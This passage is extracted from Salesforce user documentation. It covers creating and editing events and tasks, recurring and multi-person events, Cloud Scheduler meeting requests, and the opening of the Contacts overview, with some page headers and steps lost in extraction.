8. Click Save. Alternatively, click Save & New Task to save the event and create a new task or Save & New Event to save
and create an additional event.
See Also:
Editing Events
Activity Fields
Creating an Outlook Appointment for an Event
Display a Chatter feed of updates, comments, and posts about the event.
Note: If Chatter isn't enabled, contact your administrator.
Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.
Following Events
When you follow an event, your Chatter feed includes field changes and event feed updates.
Following
153
Activities
The Followers list shows you who is following the event. To view a full list, click Show All.
See Also:
Chatter Overview
Using Chatter Feeds
Edit Events
A recurring event is an event that repeats in a series, for example a weekly staff meeting that occurs every Monday at 11:00
AM. This topic describes how to complete the Recurrence section on the New Event page. For general instructions on creating
an event, see Creating Events on page 152.
Note: No occurrence in a series of recurring events can last longer than 24 hours. Once the recurring event is created,
you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled. To enable multiday
events, see Customizing Activity Settings on page 1331.
1. Select the Create Recurring Series of Events checkbox.
2. Select the frequency of recurrence.
Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows:
Daily: 100
Weekly: 53
Monthly: 60
Yearly: 10
3. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed based
on the frequency you selected.
4. Optionally, set a reminder on the recurring event. The reminder applies to each occurrence in the event series.
Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks.
Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed.
See Also:
Editing Recurring Events
Inviting People to an Event
Viewing Your Calendar
154
Activities
Edit Events
You can invite users, contacts, leads, or resources to an event. An event with one or more invitees is marked with the multi-person
event icon ( ). This topic describes how to complete the Invite Others section on the New Event page. For general instructions
on creating an event, see Creating Events on page 152.
1. Click Add Invitees in the Invite Others section.
2. In the popup window, search for invitees:
a. Select the appropriate type of invitee from the drop-down list: users, leads, contacts, or resources.
Person accounts are returned in contact searches and can be added as invitees.
b. Enter a name or part of a name in the text field, or leave the field blank to expand the search.
c. Click Go!.
3. In the Search Results area, select the boxes next to the people you want to invite and click Insert Selected.
To add more invitees, perform a new search and select more people as needed.
Note: Events that occur only once can have a maximum of 1,000 invitees and resources. Recurring events with
invitees can have a maximum of 100 invitees and resources.
You must have at least read access to the contacts and leads you invite to an event. You must have at least Add
Events on a resource to invite it to an event.
4. Click Done to add the selected people to the event.
5. Review the calendar of each invitee and adjust the date and time of the event, if necessary.
The availability of invitees is indicated in color on their calendars: busy time is blue and out-of-office time is purple. If an
invitee has more than one activity scheduled for a particular time, all of those events will be shown on the calendar. You
can hover your mouse over any event on the calendar to see the event details.
Note: Events marked as free are not displayed.
155
Activities
Invited leads, contacts, and person accounts receive an email containing a link to a web page where they can accept or
decline the invitation for the event or event series. You will also receive an email summary of the event. If an invited resource
is available at the given time, it will automatically accept the invitation. You can't double-book resources.
See Also:
Responding to Events
Editing Events
Creating Recurring Events
Viewing Your Calendar
Edit Events
On the day view, click a time such as 9:00 AM to add an event at that time.
On the week or month view, click the Add Event icon ( ) to add an event on a particular date.
3. Enter the details of your event. For details, see Creating Events on page 152.
4. Click Save. Alternatively, click Save & New Task to save the event and immediately begin creating a new task or Save &
New Event to save and begin creating an additional event.
See Also:
Editing an Event in a Public or Resource Calendar
Managing Public and Resource Calendars
Viewing Your Calendar
156
Activities
Editing Events
Editing Events
Available in: All Editions except Database.com
Edit Events
Permission to edit other users events is controlled by your organization's calendar sharing model and your personal calendar
sharing. However, regardless of these settings, managers in the role hierarchy can always edit the events of people who
report to them.
Private events can be edited only by the event owner (the user assigned to the event) and users with the Modify All Data
permission.
On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover
your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit.
On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details,
and then click Edit.
On single user daily and weekly calendar views:
Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence
that you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop
calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing is not available
for multiday events.
Create an event by double-clicking a time slot and entering the details in an interactive overlay. Note that your
administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar
Views on page 1604.
On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event.
On an activities list view, click Edit next to the appropriate event.
157
Activities
5. Click Save.
See Also:
Editing Multi-Person Events
Editing Recurring Events
Editing an Event in a Public or Resource Calendar
Creating Events
Activity Fields
Edit Events
Multi-person events are marked with the multi-person event icon ( ). To change the details of a multi-person event that you
own:
1. Open the detail page of the event and click Edit.
2. Change the details and invitees of the event as desired.
In the Email Option drop-down list, choose whether to send an email update to all invited users or only the users you
added or deleted during editing.
3. Click Save & Send Update to save the event and send an update email to the invitees. Alternatively, click Save to save
your changes without sending an email. All changes will be reflected on the calendars of invited users.
Note: You can only edit a multi-person event if you are the event owner. As the event owner, you don't receive email
when an invitee accepts or declines an invitation.
You can reassign a multi-person event to a new owner unless the event is part of a recurring event series.
See Also:
Responding to Events
Editing Recurring Events
Editing Events
Viewing Event Details
158
Activities
Edit Events
Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks.
Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed.
To change the details of an event that is part of a series of events:
1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record,
and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit.
2. Click Edit Event.
3. Change the event fields.
4. If this is an multi-person event, choose whether to send an email update to all invited users or just the users you added or
deleted during editing. Click Save & Send Update to save the event and send an update email, or just click Save to save
your changes without sending an email. All changes will be reflected on the calendars of users that have accepted the event.
Note: Changes made to a future event that is part of a series of recurring events will be overwritten if the series
frequency is changed.
159
Activities
the original invitation, the events will be added to the invitee's calendar. If you extend the end date but make no
other changes, existing events responses will not be changed unless you send updates.
See Also:
Creating Recurring Events
Editing Multi-Person Events
Editing Events
Edit Events
Note: Permission to edit events in public and resource calendars is controlled by the calendar sharing model.
On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover
your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit.
On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details,
and then click Edit.
On single user daily and weekly calendar views:
Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse
over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence
that you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop
calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing is not available
for multiday events.
Create an event by double-clicking a time slot and entering the details in an interactive overlay. Note that your
administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar
Views on page 1604.
On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event.
On an activities list view, click Edit next to the appropriate event.
160
Activities
Responding to Events
4. Click Save.
See Also:
Managing Public and Resource Calendars
Creating an Event in a Public or Resource Calendar
Editing Multi-Person Events
Editing Events
Responding to Events
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
When another user invites you to an event, you receive an email containing a link to the event. The event also displays on your
Home tab if your home page layout includes your calendar. To accept or decline the event:
1. Click the event description.
2. Optionally, enter a response.
3. If the event is a single event, click Accept Meeting or Decline Meeting. If you have been invited to a series of events,
click Accept Series or Decline Series.
Note: If you want to attend some of the events in a series of events, but want to decline other events in the series,
accept the series and then decline the specific events you will not attend.
To create an Outlook appointment for your event, click Add to Outlook. The event immediately opens in Outlook. If it does
not open, save it to your computer as a .vcs file, open the file with Outlook, and then save the event. The Outlook appointment
is tagged with the salesforce.com category so that duplicates are not created during synchronization.
See Also:
Inviting People to an Event
Editing Multi-Person Events
Viewing Activities
161
Activities
3. Click open to immediately add it to Outlook, or save it to your computer as a .vcs file. If you save it as a .vcs file, import
the file with Outlook.
The Outlook appointment is added to the salesforce.com folder.
Consider the following when adding an event to Outlook.
When viewing the event added in Outlook, the description doesn't display line breaks that were entered in the event's
Description field. Any line breaks are replaced by two spaces in the .vcs file.
You can also sync your Salesforce events to Outlook using Salesforce for Outlook.
See Also:
Creating Events
Using Connect for Outlook
Salesforce for Outlook Overview
Customize Application
To create events:
Edit Events
Drag-and-drop scheduling enables you to create events associated with records by dragging records from list views on to weekly
calendar views and entering the details of the event in an overlay. This allows you to schedule events without leaving the list
view page. Drag-and-drop scheduling is available on list views for accounts, contacts, and leads.
After your administrator sets up drag-and-drop scheduling, you can click the Open Calendar link at the bottom of a list
view to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the
calendar to quickly create an event associated with the record. When the calendar is open, you can:
Select the Change link to switch to any calendar to which you have access
Click the Previous Week (
Click the Date Picker icon ( ) to choose a specific date on which to view the calendar
Select the This Week link to view the current week in the calendar
Select the Show Weekends checkbox to display weekends on the calendar
Click the Close icon ( ) to close the calendar at any time. Alternatively, you can click the
bottom of the list view to close the calendar.
Drag the bar in between the list view and calendar to resize the height of either one
162
Activities
Viewing Tasks
1. Click Your Name > Setup > Customize > User Interface.
2. Select the Enable Drag-and-Drop Scheduling on List Views checkbox.
To select the Enable Drag-and-Drop Scheduling on List Views checkbox, you must select the Enable
Drag-and-Drop Editing on Calendar Views and Enable Click-and-Create Events on Calendar
Views checkboxes. For more information, see Customizing User Interface Settings on page 1601.
3. Click Save.
4. Optionally, define event mini page layouts to include the fields you want users to update in the event edit overlay:
a.
b.
c.
d.
Click Your Name > Setup > Customize > Activities > Event Page Layouts
Select an events page layout name.
Click Mini Page Layout.
Select which fields to display in the event edit overlay.
For more information, see Defining Mini Page Layouts on page 3305.
e. Click Save.
The Open Calendar link only appears at the bottom of list views for accounts, contacts, and leads.
Drag-and-drop scheduling is not available for the Console tab, multi-person events, recurring events, accessibility mode,
or Connect Offline.
List views that include drag-and-drop scheduling may take slightly longer than usual to display.
We recommend adding the All Day Event field to the event mini page layout, as that field is not automatically added
to event mini page layouts. The All Day Event field allows users to specify whether an event lasts all day.
Drag-and-drop scheduling includes enhanced lists; however, you do not need to enable enhanced lists for drag-and-drop
scheduling to work. For more information, see Working with Enhanced Lists on page 274.
When you drag the bar in between the list and calendar to resize either one, the size is automatically saved for all views in
which you use drag-and-drop scheduling. You can resize the list and calendar at any time.
See Also:
Creating Custom List Views
Viewing Tasks
Available in: All Editions except Database.com
Tasks allow you to track the specific actions you plan to perform or have performed, such as making phone calls or sending
mail. To view the details of a task, click the task's subject from any of the following locations:
163
Activities
Creating Tasks
The recurrence icon ( ) identifies tasks that are part of a recurring series. To view the details of the individual task occurrence,
select the View Task subtab (located above the task details). To view the details of the entire task series, select the View Series
subtab .
If your organization has enabled Email-to-Case or On-Demand Email-to-Case, some tasks may be associated with
Email-to-Case or On-Demand Email-to-Case emails. Click the link at the top of the task to view the associated email. See
Working with Case Emails on page 3193 for more information.
If the task is an email that was sent to Salesforce using Email to Salesforce or Salesforce for Outlook, you may see a banner
at the top of the email detail page with a link to the My Unresolved Items page. Use this page to assign any unassociated
emails to related Salesforce records.
See Also:
Creating Tasks
Editing Tasks
Closing Tasks
Using Your Calendar and Tasks on the Home Page
Activity Fields
Shared Activities Overview
Creating Tasks
Available in: All Editions except Database.com
Edit Tasks
Track the tasks you perform, such as making phone calls or sending email.
1. To create a task click New from the My Tasks section of the Home tab.
2. If you have an option to select a task record type, choose one from the drop-down list and click Continue.
Note: When you create a task with a non-default record type and the task is part of a recurring series, Salesforce
still applies the default record type to your recurring task. Additionally, any picklist fields associated with the default
record type will not display.
3. Enter the task details.
Assigned To. Assigned owner of task. By default, the task is assigned to the creator. To assign the task to another
user, enter a users name, or select a user with the lookup icon. This field is not available in Personal Edition. To assign
independent copies of a new task to multiple users, see Creating Group Tasks on page 166.
Subject. Subject or short description of the task, for example, Email quote to customer. You can enter a subject,
or select from a picklist of previously defined subjects.
164
Activities
Creating Tasks
Due Date (optional). Date when the task should be completed. You can enter a date, or choose a date from the calendar
Name (optional). Contact or lead related to the task. You can enter the name of the person or use
to select the
name. If you use Shared Activities on page 123, you can relate up to 10 contacts to the task. To relate more than one
name, click
. In the Select Contacts dialog box, type a name in the Search box, and click Find. Use
and
to select and deselect names. Use the Make Primary button to select a primary contact. Then, click Done.
4. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Comments field.
Note that the Check Spelling button must be enabled separately for events and tasks. Spell Checker does not support all
the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian, and double-byte
languages, such as Japanese, Korean, or Chinese.
5. Attach files as needed by clicking Attach File on the Attachments related list. If you dont see this related list, you may
need to first ask your administrator to add it to the task page layout. For recurring tasks, the attachment is added to the
series of tasks. Each occurrence of the recurring task can also have its own unique set of attachments. Sending a notification
email also sends the attachment.
6. Specify the status and priority of the task.
7. Select the Send Notification Email checkbox to send a notification email to the tasks assignee when you save the
task. To save the current state of the checkbox as your personal default, select Make this the default setting.
8. For non-Shared Activities tasks, you can create a recurring task.
a. Select the Create Recurring Series of Tasks check box.
The Due Date field is disabled because not all recurring tasks have the same due dates.
b. Select the frequency of recurrence.
Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows:
Daily: 100
Weekly: 53
Monthly: 60
Yearly: 10
c. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed
based on the frequency you selected.
9. Optionally, set a reminder on the task.
If youre creating a recurring task, the reminder applies to each occurrence in the task series.
165
Activities
10. Click Save, Save & New Task or Save & New Event.
See Also:
Using Your Calendar and Tasks on the Home Page
Using the Open Activities Related List
Viewing Tasks
Editing Tasks
Setting Reminders on Activities
Shared Activities Overview
Edit Tasks
You can create a task so that up to 100 users are each assigned an independent copy of the task. For example, you could create
a task Submit your expense reports with the appropriate due date and assign it to a team of account executives.
This functionality is enabled by default, but your administrator can choose to disable it for your organization. For more
information, see Customizing Activity Settings on page 1331.
To create a group task:
1. On the New Task page, click the lookup icon ( ) next to the Assigned To field.
2. In the lookup window, select the Multiple Users tab.
3. Users can be organized into various categories such as personal groups, public groups, roles, or territories. In the Search
drop-down list, select the appropriate option.
4. Optionally, enter one or more characters in the text box and click Find to perform a search.
5. In the Available Members list, click one or more items to select them. Press CTRL+click to select multiple items
individually, or SHIFT+click to select multiple adjacent items at the same time.
6. Click the Add and Remove buttons to move your selections between the lists.
7. When the appropriate choices are in the Selected Members list, click Done. If your selections total more than 100
users, you must reduce your selections before you can proceed.
8. On the New Task page, see your selections display next to the Assigned To field. The total number of tasks you are
creating also displays.
9. Continue entering task details such as due date, status, and comments.
Note: When a task is assigned to multiple users or a group, the Create Recurring Series of Tasks
checkbox is disabled. You cannot create group recurring tasks.
166
Activities
Editing Tasks
10. When you save the task, your selected users will be assigned copies of the task. Note that these copies are independent and
not linked; they can be edited, transferred, or deleted individually.
Tip: Personal groups are a convenient way to organize users into groups that are meaningful to you. For details, see
Creating and Editing Groups on page 590.
See Also:
Creating Tasks
Editing Tasks
Available in: All Editions except Database.com
Edit on tasks
1. Click the subject of the task from the My Tasks section of the Home tab.
2. For non-recurring tasks, click Edit.
3. For non-Shared Activities tasks that are part of a recurring series, perform one of the following.
To edit an individual task occurrence, click the View Task subtab, and click Edit Task.
To edit an entire task series, click the View Series subtab and click Edit Series. Alternatively, click the Edit Series link
in the Recurrence section of the detail page.
Note: When editing recurring tasks, keep the following in mind.
Changes you make to an individual task occurrence are overwritten if the task series is subsequently updated
with conflicting information.
If you change details in the recurrence section of the series, all open tasks that were part of the series will be
deleted and new tasks will be created. Any changes made to individual open tasks that have not yet occurred
will be lost.
167
Activities
Select the Send Notification Email checkbox to send a notification email to the tasks assignee when
you save the task. To save the current state of the checkbox as your personal default, select Make this the
default setting.
You cannot change the status of an entire recurring task series. To change the status, you must edit each
occurrence in the recurring series.
5. Attach files as needed by clicking Attach File on the Attachments related list. If you dont see this related list, you may
need to first ask your administrator to add it to the task page layout. For recurring tasks, the attachment is added to the
series of tasks. Each occurrence of the recurring task can also have its own unique set of attachments.
6. Click Save.
See Also:
Viewing Tasks
Closing Tasks
Setting Reminders on Activities
Activity Fields
Shared Activities Overview
Edit Tasks
To delete an individual task occurrence, select the View Task subtab located above the task details, and click Delete
Task.
To delete a task series, select the View Series subtab, click Delete Series and click OK to confirm the deletion.
168
Activities
Closing Tasks
Note:
When you delete a task series:
See Also:
Creating Tasks
Editing Tasks
Viewing Tasks
Closing Tasks
Available in: All Editions except Database.com
Edit Tasks
To close tasks:
1. On the My Tasks section of the Home tab or on the My Tasks section of the calendar day view, click X next to the
appropriate task. Alternatively, in the Open Activities related list on an associated record, click Cls next to the appropriate
task.
To close all tasks in a recurring series, you must close each occurrence separately.
2. Click Save to accept the changed Status value.
3. Click Save. The closed task displays in the Activity History related list of the associated record.
Note: By default, the status changes to Completed when you click X or Cls. However, if your administrator has
customized the task status picklist, then the value changes to the first value for which the Closed checkbox is selected
according to the current order of picklist values. For example, if your administrator has customized the task status
picklist values so that both Completed and Deferred are defined as Closed and Deferred is above Completed
in the current order of picklist values, then clicking X or Cls sets the status value to Deferred.
See Also:
Viewing Tasks
Editing Tasks
Using the Activity History Related List
Shared Activities Overview
169
Activities
Edit Events
AND
Send Email
When you use Cloud Scheduler to request a meeting with a contact, lead, person account, or other Salesforce user, Salesforce
creates a unique Web page for your meeting that displays the proposed meeting times. When invitees visit the page, they select
the times that work for them, and send you a reply. Salesforce tracks all the responses so you can pick the best time to meet
when you confirm the meeting.
The following sections provide an overview of how to request a meeting using Cloud Scheduler.
Step 1: You Request a Meeting and Propose Meeting Times
Go to either the Calendar section on the Home tab or the Open Activities related list on the detail page of the contact,
lead, or person account you want to request a meeting with. Click New Meeting Request to open the Meeting Request
page.
1. Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting.
2. Click in the calendar to propose up to five meeting times, or let Salesforce propose times for you.
170
Activities
1. In the meeting request, invitees click Respond to This Request to open your meeting's Web page.
2. On the meeting Web page, invitees pick the proposed times that work for them and send you a reply.
Step 3: You Confirm the Meeting
Salesforce keeps track of all the responses so you can see when each invitee is available. You then select the best time to
meet and confirm the meeting.
See Also:
Shared Activities Overview
171
Activities
Edit Events
AND
Send Email
Before you use Cloud Scheduler to request a meeting with a contact, lead, person account, or other Salesforce user, consider
these tips:
You must have at least read access to the contacts, leads, and person accounts that you request a meeting with.
Each invitee must have an email address specified in their record so Salesforce can send them a meeting request.
You can invite up to 50 people to a meeting. Invitees can consist of only contacts, leads, or person accounts, only other
Salesforce users, or a mix of both.
We recommend you install Salesforce for Outlook, Connect for Outlook, or Connect for Lotus Notes so you can sync
your calendar events between Salesforce and Outlook or Lotus Notes.
When proposing meeting times, it's helpful to have your Salesforce calendar up-to-date so you can see your free and busy
times.
To request a meeting:
1. Go to either the Calendar section on the Home tab or the Open Activities related list on the detail page of the contact,
lead, or person account you want to invite to a meeting.
2. Click New Meeting Request.
If this button doesn't display in the Calendar on the Home tab or on the Open Activities related list, ask your Salesforce
administrator to add it.
3. Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting.
a. Select the type of invitee from the drop-down list.
Person accounts are returned in contact searches and can be added as invitees.
b. Enter a name or part of a name in the text field, or leave the field blank to expand the search.
c. Click Go!.
d. In the Search Results area, select the boxes next to the people you want to invite and click Insert Selected.
To add more invitees, perform a new search and select more people as needed.
172
Activities
If there's a warning icon ( ) next to a person's name, you can't invite them to the meeting because they don't have an
email address specified in their record. Once you add an email address to their record, you can invite them to meetings.
e. Click Done.
To remove someone you just invited, click x next to their name in the To field. You can remove all invitees unless
you requested the meeting from an Open Activities related list. In that case, the first contact, lead or person account
in the To field can't be removed.
4. Enter a subject and location.
If you requested the meeting from an Open Activities related list, the default subject is a combination of the account name
for the lead or contact and the company name specified in your personal information. For example, if you're meeting with
a contact from the Sterling company and you work for ACME, the default subject is Sterling and ACME. The default
location is always To be determined.
5. Select one of these tabs:
I propose meeting timesPropose up to five meeting times by picking times in the calendar. See Tips for Proposing
Meeting Times on page 174.
Let Salesforce propose meeting timesChoose the duration and time frame of the meeting and let Salesforce propose
up to five meeting times for you. See Tips for Letting Salesforce Propose Meeting Times on page 175.
6. Click Next.
7. Write a message to the invitees, and click Send.
Note the following:
Your meeting's Web page displays all messages between you and the invitees. This includes messages that invitees write
when responding to your request.
If you requested the meeting from an Open Activities related list, the meeting appears on the detail page for that contact
or lead only. It doesn't appear on the Open Activities related list for any other invitee. For example, if you requested a
meeting with Jane Smith from her contact detail page and then clicked the To field to invite John Doe, the requested
meeting only appears on the Open Activities related list for Jane Smith and not John Doe. If you requested the meeting
from the Calendar section on the Home tab, the meeting doesn't appear on the Open Activities related list for either
Jane Smith or John Doe.
After you send your meeting request, wait for the invitees to reply with the times they can meet. Then confirm the meeting
by selecting a final meeting time.
See Also:
About Cloud Scheduler
Canceling a Requested Meeting
Rescheduling a Requested Meeting
Adding and Removing Invitees from a Requested Meeting
173
Activities
Edit Events
AND
Send Email
Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.
When you request a meeting using Cloud Scheduler, you can either propose meeting times or let Salesforce propose times for
you.
When you propose meeting times:
Proposed times aren't saved to your Salesforce calendar. The meeting only appears in your calendar after you confirm the
meeting.
When the invitees view your meeting request, the proposed times are shown in your time zone. Proposed times aren't
shown in the invitees' time zones.
You can't propose a time that occurs in the past (before the black line in the calendar).
The calendar's shaded areas show when you and the other invited Salesforce users are busy based on your Salesforce
calendars. Darker shades show when multiple Salesforce users are busy at the same time.
Use the Duration field to change the length of your meeting.
To remove a time you proposed, hover over the proposed time and click x.
See Also:
About Cloud Scheduler
Tips for Letting Salesforce Propose Meeting Times
174
Activities
Edit Events
AND
Send Email
Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.
When you request a meeting using Cloud Scheduler, you can either propose meeting times or let Salesforce propose times for
you.
One of the benefits of letting Salesforce propose meeting times happens when there's a long delay between the time you send
the meeting request and when the first invitee views it. For example, if you request a meeting with a contact on a Monday
and that contact doesn't view your request until Thursday, Salesforce proposes times from Thursday forward instead of when
the meeting request was sent.
When Salesforce proposes meeting times:
You won't know which times are proposed until after you send the meeting request. Once the first invitee views your
request, Salesforce checks the calendars of all Salesforce users invited to the meeting and proposes meeting times based on
their availability.
Salesforce tries not to propose the same times that invitees have already selected for other unconfirmed meetings. For
example, if you request a meeting for the next five business days and your invitees respond that they can meet on Tuesday
and Wednesday from 2:00 to 3:00 p.m., and then you request another meeting for the same time frame, Salesforce won't
propose times for Tuesday and Wednesday from 2:00 to 3:00 p.m. unless your calendar is completely booked with confirmed
meetings and other events.
By default, Salesforce proposes meeting times between 9:00 a.m. and 5:00 p.m. in your time zone. However, if you have
changed the Start of day and End of day fields in your Personal Information Settings page, Salesforce uses those
settings instead.
Note: If you don't want to meet at a specific time of day (like your lunch hour), schedule a recurring event in your
Salesforce calender to block out that time.
The following table describes the settings that control how Salesforce proposes meeting times.
Field
Description
Duration
175
Activities
Field
Description
Time Frame
See Also:
About Cloud Scheduler
Tips for Proposing Meeting Times
Edit Events
AND
Send Email
Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.
176
Activities
After you use Cloud Scheduler to request a meeting, wait for the invitees to reply with the times they can meet. When this
happens, you receive an email notification, and the meeting in Salesforce is automatically updated with the times the invitees
selected. You can then choose the best time to meet and confirm the meeting.
The meeting confirmation page displays as read-only to users without the Edit Events permission and users without the
Edit permission on the contact or lead record associated with a proposed meeting.
To confirm a meeting:
1. Open your meeting using one of these methods:
From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it.
If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the
subject of your meeting in the related list.
From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.
Emails the invitees with the final date and time of the meeting.
Converts the requested meeting to a new multi-person event. The last message you sent to the invitees appears in the
event's Description field, but all other messages between you and the invitees aren't saved.
This event appears in the Calendar section on the Home tab. If you requested the meeting from an Open Activities
related list, the event also appears in the Open Activities related list for that contact, lead, or person account.
Note: If your administrator added required fields to events, you're prompted to update those fields before the meeting
is converted to an event.
See Also:
Canceling a Requested Meeting
About Cloud Scheduler
177
Activities
Customize Application
When you show a custom logo in meeting requests, your logo appears in the following locations:
Email requests sent to invitees when you request a meeting or schedule an event
Meeting response pages where invitees select the times they can meet when you request a meeting
Event response pages where invitees accept or decline the event
The image must be in GIF, JPEG, or PNG format and be less than 20 KB.
For best results, use an image that is no more than 130 pixels wide by 100 pixels high at 72 pixels per inch. Images that
are larger than these dimensions may not display correctly in some email clients due to automatic resizing.
You must first upload your logo to the Documents tab and make it externally available. Documents marked Internal
Use Only can't be used as a logo.
Note: If your custom logo is in the Shared Documents folder on the Documents tab, other users can replace it
and indirectly change the logo that appears in meeting invitations. We recommend uploading the logo to your
personal folder on the Documents tab so only you can replace it.
You can't delete a custom logo from the Documents tab when it's being used in meeting requests. You must first either
select another document to use as your logo or uncheck the option to display a custom logo in meeting requests.
Edit Events
AND
Send Email
Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.
178
Activities
If you requested a meeting that hasn't been confirmed, you can cancel the meeting and Salesforce automatically sends a
cancellation notice to the invitees. However, if you confirmed the meeting then it has been converted to an event that you can
delete like all other activities.
To cancel a requested meeting:
1. Open your meeting using one of these methods:
From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it.
If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the
subject of your meeting in the related list.
From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.
See Also:
Requesting a Meeting Using Cloud Scheduler
Confirming a Requested Meeting
Deleting Activities
About Cloud Scheduler
Adding and Removing Invitees from a Requested Meeting
179
Activities
Edit Events
AND
Send Email
Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.
If you used Cloud Scheduler to request a meeting that hasn't been confirmed, you can reschedule it and propose new times.
However, you can't propose new times for a confirmed meeting because it's been converted to an event. To reschedule an
event, edit the event to change its date and send an update to the invitees.
To reschedule a requested meeting:
1. Open your meeting using one of these methods:
From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it.
If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the
subject of your meeting in the related list.
From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.
See Also:
Requesting a Meeting Using Cloud Scheduler
Confirming a Requested Meeting
Canceling a Requested Meeting
Adding and Removing Invitees from a Requested Meeting
About Cloud Scheduler
180
Activities
Edit Events
AND
Send Email
Note: Cloud Scheduler isn't supported in Microsoft Internet Explorer version 6.0.
If you requested a meeting that hasn't been confirmed, you can add and remove invitees at any time. Confirmed meetings are
converted to multi-person events. You can edit multi-person events to add and remove invitees.
To add or remove invitees from a requested meeting:
1. Open your meeting using one of these methods:
From the Calendar section on the Home tab, click the Requested Meetings subtab and then click the subject of your
meeting. If the Requested Meetings subtab doesn't display on the Calendar section, ask your administrator to add it.
If you requested the meeting from the Open Activities related list for that contact, lead, or person account, click the
subject of your meeting in the related list.
From the email notification that you received when an invitee responded to your meeting request, click View Response
and Schedule Meeting.
Click To to invite other Salesforce users, leads, contacts, or person accounts to the meeting.
Click x next to an invitee's name to remove them from the meeting.
You can remove all invitees unless you requested the meeting from an Open Activities related list. In that case, the first
contact, lead or person account in the To field can't be removed.
The calendar automatically updates based on the Salesforce users you added or removed from the meeting.
Note: If Close is the only button on the page, you don't have permission to modify the requested meeting. Either
ask the organizer to change the meeting details for you, or contact your Salesforce administrator to grant you the
required permissions.
3. Click Send Update.
4. Enter a message. For example, you might want to inform your invitees who you're adding or removing from the meeting.
5. Click one of the following:
Send to All InviteesSends an update to all existing and added invitees and a cancellation notice to removed invitees.
181
Contacts
Contacts Overview
Send Only to Changed InviteesSends an update to added invitees and a cancellation notice to removed invitees.
See Also:
Requesting a Meeting Using Cloud Scheduler
Canceling a Requested Meeting
Confirming a Requested Meeting
Rescheduling a Requested Meeting
About Cloud Scheduler
CONTACTS
Contacts Overview
Available in: All Editions except Database.com
Contacts are the people associated with your business accounts that you need to track in Salesforce. For each contact, you can
store various kinds of information, such as phone numbers, addresses, titles, and roles in a deal.
The Contacts tab lets you quickly create and locate contacts, as well as sort and filter contacts using standard and custom list
views. And you can use this tab to view and edit detailed information for each contact you have access to.
You can also enhance your traditional contact data with your customers social information. With the Social Accounts and
Contacts feature, you can see your contacts social network profiles and other social data directly in Salesforce. Easy access to
this information helps you know your customers better, so you can solve their problems and build stronger relationships.
See Also:
Contacts Home
Social Accounts, Contacts, and Leads Overview
Accounts Overview
Resolving Your Synced Outlook Contacts
182
Contacts
The Social Accounts and Contacts feature lets you view social network profiles and other social information for your accounts,
contacts, and leads, directly in Salesforce. Easy access to this information provides your sales users with social sales intelligence
that they can use to better meet existing and potential customers needs. The Social Accounts and Contacts feature is enabled
by default for organizations created after the Spring 12 release. For existing organizations, the administrator must enable
Social Accounts and Contacts.
Note: In the online help and other Salesforce documentation, the word account by itself always refers to both
business accounts and person accounts. The terms business account and person account are used when there are
differences between the two kinds of accounts.
You can see social information from several social networks.
Social
Network
Supported Records
Facebook gives you a more personal view of your existing and potential
Accounts
customers and helps you find common interests. For contacts, leads, and
Contacts
person accounts, you can see profiles, status updates, and the number of
mutual friends you share. For business accounts, you can view your customers Leads
corporate social media presence, including their company profile and wall
posts.
Klout
Klout is a third-party service that analyzes people's influence across social Accounts
